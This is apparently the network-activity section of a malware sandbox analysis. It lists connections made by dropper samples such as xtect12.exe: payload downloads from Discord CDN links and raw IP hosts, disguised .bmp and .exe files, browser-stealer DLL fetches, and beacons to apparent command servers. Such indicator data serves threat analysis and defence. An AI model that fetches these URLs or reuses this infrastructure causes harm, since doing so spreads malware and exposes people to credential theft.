                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          18.0kB
                                                                                                                                                                                                                                          544.2kB
                                                                                                                                                                                                                                          377
                                                                                                                                                                                                                                          373

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          97.7kB
                                                                                                                                                                                                                                          3.1MB
                                                                                                                                                                                                                                          2108
                                                                                                                                                                                                                                          2104

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/829885245049667597/874990247837061120/inst001.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          9.6kB
                                                                                                                                                                                                                                          274.9kB
                                                                                                                                                                                                                                          193
                                                                                                                                                                                                                                          191

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/829885245049667597/874990247837061120/inst001.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          9.8kB
                                                                                                                                                                                                                                          282.3kB
                                                                                                                                                                                                                                          197
                                                                                                                                                                                                                                          195

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          68.2kB
                                                                                                                                                                                                                                          2.1MB
                                                                                                                                                                                                                                          1467
                                                                                                                                                                                                                                          1445

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          11.8kB
                                                                                                                                                                                                                                          347.6kB
                                                                                                                                                                                                                                          241
                                                                                                                                                                                                                                          239

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 37.0.10.214:80
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file4.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          145.6kB
                                                                                                                                                                                                                                          4.7MB
                                                                                                                                                                                                                                          3148
                                                                                                                                                                                                                                          3117

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file5.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file5.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file4.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 37.0.10.214:80
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file2.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          57.9kB
                                                                                                                                                                                                                                          1.8MB
                                                                                                                                                                                                                                          1199
                                                                                                                                                                                                                                          1187

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file8.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file8.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file7.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file7.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file6.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file6.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file4.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/PB14s.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/PB14s.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 74.114.154.22:443
                                                                                                                                                                                                                                          https://eduarroma.tumblr.com/
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          1.3kB
                                                                                                                                                                                                                                          20.4kB
                                                                                                                                                                                                                                          22
                                                                                                                                                                                                                                          17

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://eduarroma.tumblr.com/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.79.144:443
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/sqlite.dll
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          zhaoy-game.exe
                                                                                                                                                                                                                                          13.0kB
                                                                                                                                                                                                                                          684.8kB
                                                                                                                                                                                                                                          268
                                                                                                                                                                                                                                          506

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2203/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/sqlite.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/878322236350668870/r.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          122.6kB
                                                                                                                                                                                                                                          3.9MB
                                                                                                                                                                                                                                          2651
                                                                                                                                                                                                                                          2635

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/875703530030260245/878322236350668870/r.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          149.1kB
                                                                                                                                                                                                                                          4.8MB
                                                                                                                                                                                                                                          3226
                                                                                                                                                                                                                                          3212

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://iplogger.org/1Z7qd7
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          6.8kB
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplogger.org/1Z7qd7

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          443 B
                                                                                                                                                                                                                                          523 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          395 B
                                                                                                                                                                                                                                          523 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          452 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://2no.co/2GSVH6
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          5.9kB
                                                                                                                                                                                                                                          14
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://2no.co/2GSVH6

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          404 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 95.181.172.98:80
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          437 B
                                                                                                                                                                                                                                          443 B
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                          4

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://kaleidographic.com/pub1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 172.67.145.110:443
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/2201/snakehi.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          4.5kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatagame.com/userf/2201/snakehi.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 95.181.172.98:80
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          10.1kB
                                                                                                                                                                                                                                          289.5kB
                                                                                                                                                                                                                                          216
                                                                                                                                                                                                                                          215

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://kaleidographic.com/pub1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          11.6kB
                                                                                                                                                                                                                                          342.3kB
                                                                                                                                                                                                                                          237
                                                                                                                                                                                                                                          235

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.88.226:80
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          937 B
                                                                                                                                                                                                                                          6.0kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://i.spesgrt.com/lqosko/p18j/customer3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://i.spesgrt.com/lqosko/p18j/customer3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          462 B
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 52.219.156.26:80
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          417 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          414 B
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 188.34.200.103:80
                                                                                                                                                                                                                                          http://188.34.200.103/vcruntime140.dll
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          78.9kB
                                                                                                                                                                                                                                          2.5MB
                                                                                                                                                                                                                                          1660
                                                                                                                                                                                                                                          1648

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://188.34.200.103/937

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/freebl3.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/mozglue.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/msvcp140.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/nss3.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/softokn3.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://188.34.200.103/vcruntime140.dll

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          124 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 111.90.156.58:443
                                                                                                                                                                                                                                          https://fsstoragecloudservice.com/campaign1/autosubplayer.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          6.1kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://fsstoragecloudservice.com/campaign1/autosubplayer.exe
                                                                                                                                                                                                                                        • 172.67.161.96:443
                                                                                                                                                                                                                                          https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          4.1kB
                                                                                                                                                                                                                                          101.4kB
                                                                                                                                                                                                                                          77
                                                                                                                                                                                                                                          75

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.18.21.226:80
                                                                                                                                                                                                                                          http://crl.globalsign.com/gsgccr45evcodesignca2020.crl
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Cleaner Installation.exe
                                                                                                                                                                                                                                          650 B
                                                                                                                                                                                                                                          3.1kB
                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://crl.globalsign.com/codesigningrootr45.crl

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://crl.globalsign.com/gsgccr45evcodesignca2020.crl

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 52.219.156.26:443
                                                                                                                                                                                                                                          https://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/offer/GameBox.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          14.1kB
                                                                                                                                                                                                                                          407.8kB
                                                                                                                                                                                                                                          292
                                                                                                                                                                                                                                          289

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/offer/GameBox.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 103.155.92.58:80
                                                                                                                                                                                                                                          http://www.iyiqian.com/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          423 B
                                                                                                                                                                                                                                          327 B
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                          3

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://www.iyiqian.com/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 188.225.87.175:80
                                                                                                                                                                                                                                          http://www.mhmvcy.xyz/Home/Index/lkdinl
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          809 B
                                                                                                                                                                                                                                          539 B
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                          3

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://www.mhmvcy.xyz/Home/Index/lkdinl

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=WEATHER_Manager&payoutcents=0.06&ver=5
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          8.8kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          12

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=WEATHER_Manager&payoutcents=0.06&ver=5

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=Inlog&payoutcents=0.06&ver=23.5.2
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          8.8kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          12

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=Inlog&payoutcents=0.06&ver=23.5.2

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 185.204.109.146:54891
                                                                                                                                                                                                                                          http://185.204.109.146:54891/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          5.7kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://185.204.109.146:54891/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://185.204.109.146:54891/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=VPN&payoutcents=0.06&ver=5
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          8.8kB
                                                                                                                                                                                                                                          12
                                                                                                                                                                                                                                          12

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=VPN&payoutcents=0.06&ver=5

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 104.21.35.173:443
                                                                                                                                                                                                                                          https://bestinternetstore.xyz/api.php
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          2571189.exe
                                                                                                                                                                                                                                          779 B
                                                                                                                                                                                                                                          4.2kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://bestinternetstore.xyz/api.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 212.224.105.106:80
                                                                                                                                                                                                                                          http://deyrolorme.xyz/
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          7814738.exe
                                                                                                                                                                                                                                          1.5kB
                                                                                                                                                                                                                                          2.0kB
                                                                                                                                                                                                                                          16
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://deyrolorme.xyz/

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

